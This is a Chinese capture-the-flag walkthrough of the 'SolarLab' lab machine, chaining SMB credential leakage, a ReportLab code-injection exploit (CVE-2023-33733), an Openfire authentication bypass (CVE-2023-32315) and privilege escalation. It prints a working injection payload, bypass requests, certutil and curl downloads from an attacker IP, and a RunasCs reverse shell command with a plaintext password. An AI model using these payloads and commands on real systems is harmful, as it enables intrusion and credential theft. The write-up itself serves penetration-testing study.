0%

SolarLab

SMB共享文件获取敏感信息、Python Reportlab 代码注入漏洞、Openfire身份认证绕过漏洞

SolarLab

信息搜集

nmap扫描端口

1
nmap -sV -v 10.10.11.16

扫描结果如下

1
2
3
4
5
PORT    STATE SERVICE       VERSION
80/tcp open http nginx 1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

观察到445端口开放存在Microsoft-DS服务,用smb查看一下

1
smbclient -L 10.10.11.16

用Documents登录一下

1
smbclient \\\\10.10.11.16\\Documents

我们注意到有个xlsx表格文件,使用get命令下载下来

打开看看发现有用户信息,应该能利用登录

访问80端口发现跳转域名,添加到hosts文件即可

不过在扫描子域名以及目录后没有收获,尝试重新使用nmap扫描全部端口

1
2
3
4
5
6
PORT     STATE SERVICE       VERSION
80/tcp open http nginx 1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0

还存在6791端口,访问发现跳转直接添加hosts文件即可

回到刚刚得到的用户信息,初步测试发现只有用户名为AlexanderKClaudiaS存在,并且使用密码登陆不成功

但是我们注意到表格左上方有三个用户,其中Blake引起我们注意。并且用户登录的用户名的尾部是大写字母,我们尝试对其爆破出用户Blake的登录username

成功登录

大概翻了一下是和生成pdf文件有关,搜索一下ReportHub

得知reportlab是一个用于生成PDF和图形的Python库,并且存在Python Reportlab 代码注入漏洞(CVE-2023-33733)

github上有写好的poc 脚本链接

1
2
3
4
5
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('whoami') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>

修改一下脚本中执行的命令为反弹shell,测试发现是windows系统,用在线网站生成powershell版本的shell 网站链接

随便选个request请求,抓包添加payload到training_request参数

成功反弹shell

C:\Users\blake\Desktop找到user的flag

大概翻了一下没有什么可以利用的,我们查看下连接的端口情况

1
netstat -ano

与常见端口漏洞利用对比,发现存在9090端口

我们利用chisel进行端口转发,把9090端口转发到我们本机

(注意这里传的是windows版本的chisel,并且要用curl不知道wget为什么不行)

在本地开启http服务,用curl去传

1
curl http://10.10.14.88/chisel.exe -o chisel.exe

进行隧道搭建

1
2
本机:./chisel server -p 6150 --reverse
靶机:./chisel.exe client 10.10.14.88:6150 R:9090:127.0.0.1:9090 #R表示反向隧道

访问127.0.0.1:9090,发现是版本为4.7.4的openfire

去阿里云漏洞库搜一下,找到Openfire身份认证绕过漏洞(CVE-2023-32315)

我们验证一下

1
http://127.0.0.1:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

成功访问日志

我们思路就是未授权创建管理员用户 参考文章

首先获取JSESSIONIDcsrf

1
http://127.0.0.1:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp

使用获取到JSESSIONIDcsrf创建用户re1v1ve/rev1ve

1
2
3
4
5
6
7
8
9
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=rev1ve&name=&email=&password=rev1ve&passwordConfirm=admin123&isadmin=on&create=Create+User HTTP/1.1
Host: x.x.x.x:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: JSESSIONID=node015oa6y9775tb54z36d9l36h8b7.node0;csrf=hXgFWkHO1HyB6Rb

不过抛出异常了,还可以用github上的工具创建

1
2
3
cd CVE-2023-32315-Openfire-Bypass/scan_all
go mod tidy
go run main.go -u http://10.10.14.88:9090

成功登录

上传插件 插件链接

server => server settings功能处发现发现shell Plugins

按照上传插件的描述pass 123用密码123登录,找到命令执行界面

还是用powershell去弹shell

C:\Program Files\Openfire\embedded-db发现openfire.script文件

查看一下,发现插入的和admin有关数据

1
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

再看下对应表的键名

1
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))

发现第7列对应的键值可能是凭证之类的,用github上的openfire工具后台管理密码解密 工具链接

出现报错缺少passwordKey,往下翻翻找到

跑出来密码后,那么就可以切换administrator用户

上传一下RunasCs用来用户切换

1
certutil -urlcache -split -f http://10.10.14.88/RunasCs.exe

用powershell弹到本地1234端口

1
./RunasCs.exe administrator ThisPasswordShouldDo!@ powershell.exe -r 10.10.14.88:1234

成功切换administrator用户拿到root的flag